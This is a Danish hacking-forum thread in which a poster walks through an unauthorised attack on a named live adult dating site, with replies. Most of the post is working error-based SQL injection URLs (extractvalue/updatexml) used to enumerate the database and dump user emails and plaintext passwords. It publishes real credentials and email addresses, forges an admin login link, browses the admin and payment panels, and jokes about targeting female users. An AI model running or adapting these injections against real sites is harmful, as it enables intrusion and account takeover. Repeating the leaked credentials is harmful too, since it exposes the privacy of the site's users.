[Case Study] Xpath Injection @ Eromaxi.dk
|
28-08-2014, 20:16
(Denne besked var sidst ændret: 28-08-2014, 20:17 af BaltoZ|-|aar.)
|
|||
|
|||
[Case Study] Xpath Injection @ Eromaxi.dk
Så der var en der efterspurgte lidt om Xpath Injection inde I 'Tutorial requests' tråden. Dette er ikke en tutorial som sådan, men mere en lille gennemgang af hvordan Jeg tog mig af denne simple opgave.
EDIT#1 - Blev sku lidt af en lang smøre, selvom jeg havde regnet med at gøre det kort... Mjeh.... Kunne bare ikke stoppe da jeg først var kommet igang. Hvis jeg har lavet fejl må i meget gerne sige til. Skal nok lige kigge det igennem engang. EDIT#2 - Har omskrevet http til hxxp for ikke at forkorte URL'erne. EDIT#3 - Kan se tegnene i URL'erne er blevet encoded da jeg kopierede dem. Det skal jeg nok lige få fikset... Ved ikke hvordan, men af en eller anden åndsvag grund befandt jeg mig på varmsex.dk ;) Tænkte jeg ville give den et forsøg, da den så temmelig ’råt’ kodet ud. Før jeg går i sving med at teste en hjemmeside ved manuelt brug af interception proxies(MiTMProxy, Burp, Charles osv.), og den lidt mere automatiserede brug af skannere(Nikto, Acunetix, Vega osv.), er der altid en god portion forarbejde, der kan gøre et muligt angreb betydeligt lettere. En af de aller første skridt er at få en idé om hvor mange forskellige kunder/brugere der har deres domæner til at pege på lige præcis denne host. Der er Uanede sider og services til dette formål, men for mig er det som regel nok at benytte Bing. Så er der ting som Cloudflare osv. Der kan spille ind, men ikke i dette tilfælde. IP’en på hosten kan vi skaffe ved at pinge domænet: Citer:--- PING eromaxi.dk (94.231.109.86) 56(84) bytes of data. --- Denne IP kan vi nu bruge til at finde yderligere domæner der har valgt at hoste deres indhold på samme (shared) server. Lad os springe over på bing.com, og bruge følgende filter til vores søgning: Citer:Ip: 94.231.109.86 Her kan vi også bare nøjes med at taste IP’en ind I Googles søgemaskine, og bruge de forskellige resultater til at få lidt ekstra information. Whois, DNS og alle de andre lookups. Bing giver os følgende domæner på hosten: Citer:Escort4.dk Og hvis vi decideret vil lede efter specifikke filer eller endelser, kan vi bruge følgende (Til hvis fi f. eks leder efter SQLi): Citer:ip:94.231.109.86 ext:phpExtension: PHP Så langt nåede jeg dog ikke, før jeg opdagede følgende URL cached af Bing: Citer:hxxp://eromaxi.dk/?subpage=interest&uid=330&key=2b261d225269fe8f9d1bf1aa2d8b9812 Hvis vi trykker på linket, er vi pludselig logget ind som den uheldige bruger hvis URL Bing har lagret. Den sidste parameter (key) ligner også til stor forveksling MD5, ikke? Lad os lige for sjov skyld se hvad HashKillers MD5 Decrypter(Det er jo egentligt en cracker) siger: Citer:2b261d225269fe8f9d1bf1aa2d8b9812 MD5 : hagar67 Wow.... Så hvis vi får fat i brugernes hashed kodeord, har vi ikke engang brug for at cracke dem. Nå, men da vi er logget ind og har fuld brugeradgang til siden(VIP), kan vi lige så godt begynde at smide om os med forskellig input. Vi finder hurtigt ud af, at der faktisk er flere steder hvor vi får SQL fejl hvis vi forsøger at stoppe den igangværende query med ’ Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=21' Hvis vi fortsætter som enhver anden simpel string-based SQL injection vil vi få følgende fejlmeddelse, og være ude af stand til at udregne antallet af kolonner. Citer:Fejl You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by 1000 LIMIT 1' at line 1 Og hvis vi bruger normal SQL injection får vi følgende fejl: Citer:Fejl You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' LIMIT 1' at line 1 Hvad gør vi så? Næste skridt er at tjekke om det muligvis kunne være en Xpath injection. Forestil jer følgende simple XML fil. Denne fil indeholder en database bestående af brugeroplysninger. XML bruger denne ’træ-struktur’ til at angive opbygningen af ’grene’ i databasen. <Brugere> er vores rod/stamme og herefter består grenene af elementer, attributter osv. Hvis vi forestiller os at <Brugere> roden er en tabel, og alle grene der hører under den er kolonner, minder det jo meget godt om normal SQL databasestruktur. Kode: <?xml version="1.0" encoding="UTF-8"?> Xpath Injection minder også utroligt meget om normal SQL injection. Det er bare et spørgsmål om at kunne huske funktionerne og deres tilhørende parametre. Med Xpath injection kan vi så bruge disse to funktioner til at manipulere med vores queries: Updatexml() Citer:Term: UPDATEXML Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=updatexml(1,concat(0x7C,version()),1) eller Extractvalue() Citer:Term: EXTRACTVALUE Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(1,concat(0x7C,version())) Problemet med begge funktioner er, at serveren ikke kan svare med mere end 32 tegn. Vi kan derfor ikke høste ret meget data ad gangen. Hvis vi for eksempel ville forsøge os med både Version(), User(), og Database(), ville vi kun få følgende halvfærdige svar tilbage fra serveren (32 tegn mellem ’ og ’): Citer:Fejl XPATH syntax error: '|5.5.38-cll-lve|scormax@localhos' Citer:http://eromaxi.dk/?subpage=loge&logeid=e...tabase())) Desuden kræver ’concat’ funktionen en hexværdi i starten, da det ellers vil tage en bid af serverens respons. Har her valgt hex-værdien ’7C’, som svarer til ’|’ – alle kan dog bruges. (husk at angive at værdien er i hex-format – dette gøres ved at skrive 0x foran) Med HEX: Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=updatexml(1,concat(0x7C,user()),1) Uden HEX: Citer:http://eromaxi.dk/?subpage=loge&logeid=u...user()),1) Med en begrænsning på 32 tegn, kan vi istedet benytte os af vores gode gamle LIMIT funktion vi kender fra SQL. Jeg vil benytte mig af ExtractValue() til resten af denne tekst. Det er næsten samme fremgangsmåde som med UpdateXML(), og det ville være rent tidsfordriv at køre begge igennem. I de næste queries er de eneste ændringer vi har foretaget et komma og en start-parentes efter hex-værdien, samt en slut-parentes i slutningen af vores query. Oven i det skal vi bruge et ’select statement’ som vi kender det fra normal SQL injection/SQL generelt. Nu da vi har styr på hvordan vores injection virker, er det tid til at finde ud af hvilke databaser vi har adgang til: Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(0x7C,concat(0x7C,(select schema_name from information_schema.schemata limit 0,1))) Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(0x7C,concat(0x7C,(select schema_name from information_schema.schemata limit 1,1))) Her ses LIMIT I brug. Hvis vi vælger at forøge værdien forsvinder fejlmeddelsen i bunden af siden, og en større del af siden loades end når fejlen er tilstede. Dette betyder at vores query svarer tilbage med et tomt svar, og at der derfor ikke er flere databaser at finde, og vi kan fortsætte med at finde tabeller i en af databaserne. Det kan vi gøre på samme måde som vi ville gøre det hvis det var normal SQL injection. Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(0x7C,concat(0x7C,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) Hvis vi skulle oversætte denne query, ville det blive noget I stil med: Citer:Vælg tabel_navn fra information_schema(standart database).tabeller hvor tabel_skema(database)=database()(vores nuværende database). Hvis vi i stedet ønsker at kortlægge tabellerne fra en anden database, kan det gøres ved at konvertere databasenavnet til hex, og sætte det ind på database() funktionens plads (Det er ikke ALTID du behøver at konvertere database- og tabel-navne, nogle gange kan du nøjes med at smide dem i enkeltpling som f. eks. ’scormax’ – det er dog et krav i dette eksempel): Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(0x7C,concat(0x7C,(select table_name from information_schema.tables where table_schema=0x73636f726d6178 limit 0,1)))(I dette tilfælde er ’s=73-c=63-o=6f-r=72-m=6d-a=61-x=78’ bare den samlede hex-værdi af ’scormax’, da der ikke er andre databaser – så det er ikke andet end en demonstation. Denne side konverterer tekst til hex, og er helt sikkert kendt af mange af jer: http://www.swingnote.com/tools/texttohex.php) Citer:OBS: Lad os øge vores LIMIT værdi indtil vi støder på en tabel, vi synes der er værd at kigge på. Der er selvfølgelig mange tabeller vi kunne være interesserede i (Pm, messages, mysqllog osv), men hvad vi egentlig er efter, er bruger- eller admin oplysninger: Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(0x7C,concat(0x7C,(select table_name from information_schema.tables where table_schema=database() limit 47,1))) Nu skal vi have fundet ud af hvilke kolonner der hører til denne tabel. Dette kan gøres ved at ændre vores tidligere query bare en lille smule, så den i stedet for at vælge tabeller, vælger kolonner der hører under en specific tabel. Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(0x7C,concat(0x7C,(select column_name from information_schema.columns where table_name=0x55736572 limit 0,1))) Igen øger vi vores LIMIT værdi for at få fat I alle de kolonner vi har brug for: Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(0x7C,concat(0x7C,(select column_name from information_schema.columns where table_name=0x55736572 limit 1,1))) Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(0x7C,concat(0x7C,(select column_name from information_schema.columns where table_name=0x55736572 limit 4,1))) Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(0x7C,concat(0x7C,(select column_name from information_schema.columns where table_name=0x55736572 limit 6,1))) Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(0x7C,concat(0x7C,(select column_name from information_schema.columns where table_name=0x55736572 limit 8,1))) Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(0x7C,concat(0x7C,(select column_name from information_schema.columns where table_name=0x55736572 limit 9,1))) Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(0x7C,concat(0x7C,(select column_name from information_schema.columns where table_name=0x55736572 limit 20,1))) Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(0x7C,concat(0x7C,(select column_name from information_schema.columns where table_name=0x55736572 limit 23,1))) Nu kan vi så gå igang med at trække disse oplysninger ud af databasen. Dette følger også normal SQL injection, så der burde ikke være grund til at gå alt for meget i dybden med det. Citer:Lad os starte med at finde ud af hvor mange brugere der rent faktisk er i databasen ved hjælp af Count() funktionen fra før: Nu kan vi så vælge hvilke kolonner vi vil have fra hvilke tabeller, helt uden brug af hex-værdier eller information_schema: Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(1,concat(0x7C,(select email from User limit 0,1))) Her kan vi også tilføje en concat() funktion så vi kan hente flere oplysninger samlet på een gang. Problemet med de begrænsede (32) tegn er her dog stadig, så pas på: Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(1,concat(0x7C,(select concat(0x7C,email,0x7C,admin) from User limit 0,1))) Her har den ændret email fra jimmovsing@hotmail.com til acj@acj-design.dk, og værdien fra admin kolonnen er 1. Vi må gå ud fra dette betyder personen er administrator. For at være sikre øger vi vores LIMIT værdi: Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(1,concat(0x7C,(select concat 0x7C,email,0x7C,admin) from User limit 1,1))) Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(1,concat(0x7C,(select concat(0x7C,email,0x7C,admin) from User limit 2,1))) Det ser altså ud til at vi har 2 admins på siden. Lad os se om ikke vi kan skaffe kodeordene, og forhåbentligt logge ind på deres brugere: Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(1,concat(0x7C,(select concat (0x7C,email,0x7C,password) from User where admin=1 limit 0,1))) Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(1,concat(0x7C,(select concat (0x7C,email,0x7C,password) from User where admin=1 limit 1,1))) Endnu en forøgelse i LIMIT fjerner fejlmeddelsen, og fortæller os igen, at der kun er 2 admins – Og så har de ovenikøbet valgt ikke at hashe brugernes kodeord..... I de 2 ovenstående queries bruger vi igen lidt SQL magi, så vi kun får email+password fra brugere hvis værdi i admin kolonnen er lig med 1. Dette kan bruges til at give specifikke omstændigheder for vores resultater. Hvis vi kigger nogle brugere igennem, kan vi se at der er angivet f. eks. køn og VIP status: Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(1,concat(0x7C,(select concat(0x7C,gender,0x7C,vip) from User limit 300,1))) Køn er altså bestemt med m(Mand) og k(Kvinde), og VIP status ser ud til at være dato+klokkeslet – altså enten et timestamp eller en udløbsdato. Det kan vi bruge til at søge efter brugere af et bestemt køn og VIP status (og vægt, højde, alder osv. – selv browser til hvis vi planlægger at køre et bestemt exploit imod dem – f. eks Internet Explorer): Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(1,concat(0x7C,(select concat 0x7C,email,0x7C,password) from User where vip>0 and gender=0x6b limit 0,1))) Her skal bogstaver igen være I hex-format, men tallene kan vi lade være som de er. Hvad denne query gør, er at tage ’email+password' kolonnerne fra tabellen 'User', hvor ’VIP kolonnens’ værdi er ’MERE end 0’ (vip>0) og ’køns-kolonnen’ er sat til ’kvinde’ (gender=k). Altså hunkøn med VIP status. - Hvad end vi nu kan bruge det til ;) Nå. Lad os vende tilbage til vores tidligere query, der gav os kodeordene til de to admins på siden: Citer:acj@acj-design.dk|82928292Acj Her kan vi gå ind I ’kontrolpanelet’ på vores nuværende bruger > Trykke ’LOG UD’ > Trykke på ’LOG IND’ > Indtaste ’email’ og ’kodeord’ > Og til sidst trykke ’Log ind’ ELLER! Kan i huske det forfærdelige link der gav os adgang til siden i starten af denne tekst? Citer:hxxp://eromaxi.dk/?subpage=interest&uid=330&key=2b261d225269fe8f9d1bf1aa2d8b9812 Vi ved at ’acj brugeren’ er den første i databasen, så vi gå gå ud fra hans ’bruger ID er 1’. Men lad os nu lige tjekke efter for at være sikker. Samme query som da vi hev email+password ud af databasen, denne gang vil vi bare have fat i ’id’ kolonnen – og for en sikkerhedsskyld tager vi lige email kolonnen med, så vi er sikre på det er den rigtige person vi arbejder med: Citer:hxxp://eromaxi.dk/?subpage=loge&logeid=extractvalue(1,concat(0x7C,(select concat(0x7C,email,0x7C,id) from User where admin=1 limit 0,1))) Den er sku god nok. Nu kan vi så bruge enten vores egen server, eller en online service til at MD5 hashe hans kodeord. Her bruger vi bare en tilfældig online service til formålet: http://www.adamek.biz/md5-generator.php Citer:md5("82928292Acj") = "2dd85310d3e6a60de554204fdf634b70" Hvis vi så ændrer vores førnævnte login-link med vores admins ID samt hashed kodoerd vil det se således ud: Citer:hxxp://eromaxi.dk/?subpage=interest&uid=1&key=2dd85310d3e6a60de554204fdf634b70Kan i gætte hvad linket gør? Boom. Nu er vi logget ind som admin, og selvom vi underligt nok ikke har VIP status (LOL), kan vi slette alt i adressen efter http://eromaxi.dk/ - og stadig være logget ind. Som i kan se har vi et lille admin panel i højre side, og dette panel giver os rettighederne til at: Sende beskeder fra hans falske profiler(bots): Har selvfølgelig ikke sendt beskeden! ;) Se hans servers cron jobs: Se brugernavne og kodeord: Og en del andre ting vi kan kigge på. Der er også en del af panelets links der ikke ser ud til at virke, men hvis vi trykker på knappen ’Pay Mananger’ der er placeret under ’Antal brugere ialt’ i toppen af siden på brugersøgningssiden, bliver vi omdirigeret (Og logget ind) på følgende side: Citer:https://pay.dandomain.dk/ Her kan vi hvis vi går ind i ’statistik’ se lidt information om gennemførte transaktioner: 2014 – Januar til nu: 2013 – Hele året: Selv med en høj skatteprocent er det sku en fin lille portion ekstra lommepenge. Hvis han rent faktisk gjorde noget ud af siden, er jeg sikker på han kunne fordoble de tal. Det er jo egentlig ikke ret mange personer der ender op med at betale, og selvom der nok er mange ensomme sataner her i landet, må hans bots have en stor rolle at spille når det kommer til conversions. Hvis han istedet valgte at satse på en ORDENTLIG brugeroplevelse, og opdaterede sit layout samt satsede på flere sociale egenskaber, er jeg sikker på der er uanede mængder penge at tjene på en niche de fleste ellers regner som død. |
|||
29-08-2014, 00:05
(Denne besked var sidst ændret: 29-08-2014, 00:05 af MalcolmXI.)
|
|||
|
|||
RE: [Case Study] Xpath Injection @ Eromaxi.dk | |||
29-08-2014, 00:12
|
|||
|
|||
RE: [Case Study] Xpath Injection @ Eromaxi.dk
Wow en mundfuld at læse, må indrømme jeg kun skimtede. Synes det er cool, du får det til at se virkelig let ud. Sikkerhed spiller en stor rolle! Advarede du ham efter eller lader du det bare ligge :)?
|
|||
29-08-2014, 00:23
|
|||
|
|||
RE: [Case Study] Xpath Injection @ Eromaxi.dk
Rigtig godt skrevet, jeg fik selv en god del ud af at læse det
Also: lol @ beskeden om nyt design :P |
|||
29-08-2014, 15:22
|
|||
|
|||
RE: [Case Study] Xpath Injection @ Eromaxi.dk
Du har en total god måde at bygge tingene op på og for mit vedkommende, så suger jeg det til mig. Tak for endnu et godt indlæg.
|
|||
01-09-2014, 08:07
|
|||
|
|||
RE: [Case Study] Xpath Injection @ Eromaxi.dk
ikke særlig whitehat, men bestem godt skrevet og spændende læsning. Tak for det!
Don't learn to hack, hack to learn
|
|||
02-09-2014, 12:29
|
|||
|
|||
RE: [Case Study] Xpath Injection @ Eromaxi.dk
I er velkomne.
Og nej. Er 'desværre' ikke white hat. Kun i enkelte tilfælde, hvor bagmændende rent faktisk har gjort en indsats for at sikre deres brugere. (29-08-2014, 00:12)Lecheffer Skrev: Wow en mundfuld at læse, må indrømme jeg kun skimtede. Synes det er cool, du får det til at se virkelig let ud. Sikkerhed spiller en stor rolle! Advarede du ham efter eller lader du det bare ligge :)? Lader den ligge ind til videre ;) |
|||
02-09-2014, 14:22
|
|||
|
|||
RE: [Case Study] Xpath Injection @ Eromaxi.dk
(02-09-2014, 12:29)BaltoZ|-|aar Skrev: I er velkomne. Jeg har det lidt på samme måde. I går snakkede vi faktisk om professionel etik blandt software-udviklere på universitetet, og helt generelt kan man sige, at man ikke kan "være bekendt" at tage en opgave man godt ved man ikke er kvalificeret til at udføre. Det kan så udvides til dette tilfælde, hvor man i hvert fald som minimum får lavet et sikkerheds-audit. Jeg vil dog mene at fejlen godt må drejes til kun at gå ud over webmasteren, og ikke de brugere hvis følsomme data er lækket gennem siden. |
|||
04-09-2014, 17:06
|
|||
|
|||
RE: [Case Study] Xpath Injection @ Eromaxi.dk
Lige i dette tildfælde synes jeg i hvert fald ikke der er blevet gjort nok. Ser man så på den påståede indkomst han tjener ved at drive disse sider, så er det direkte at pisse på folk.
|
|||
|
User(s) browsing this thread: 1 Gæst(er)